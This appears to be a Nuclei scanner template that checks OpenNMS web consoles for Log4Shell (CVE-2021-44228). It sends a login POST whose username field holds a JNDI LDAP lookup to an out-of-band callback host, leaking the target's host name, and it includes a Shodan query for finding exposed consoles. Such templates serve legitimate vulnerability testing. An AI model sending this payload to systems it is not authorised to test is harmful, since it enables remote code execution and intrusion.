id: opennms-log4j-jndi-rce

info:
  name: OpenNMS - Log4j JNDI RCE
  author: johnk3r
  severity: critical
  description: |
    OpenNMS Apache Log4j2 <=2.14.1 JNDI in features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker
    who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
    - https://www.opennms.com/en/blog/2021-12-10-opennms-products-affected-by-apache-log4j-vulnerability-cve-2021-44228/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cve-id: CVE-2021-44228
  metadata:
    verified: true
    shodan-query: title:"OpenNMS Web Console"
  tags: jndi,log4j,rce,opennms,cve,cve2021

requests:
  - raw:
      - |
        POST /opennms/j_spring_security_check HTTP/1.1
        Referer: {{RootURL}}/opennms/login.jsp
        Content-Type: application/x-www-form-urlencoded

        j_username=${jndi:ldap://${hostName}.{{interactsh-url}}}&j_password=password&Login=&j_usergroups=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Match for extracted ${hostName} variable

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${hostName} in output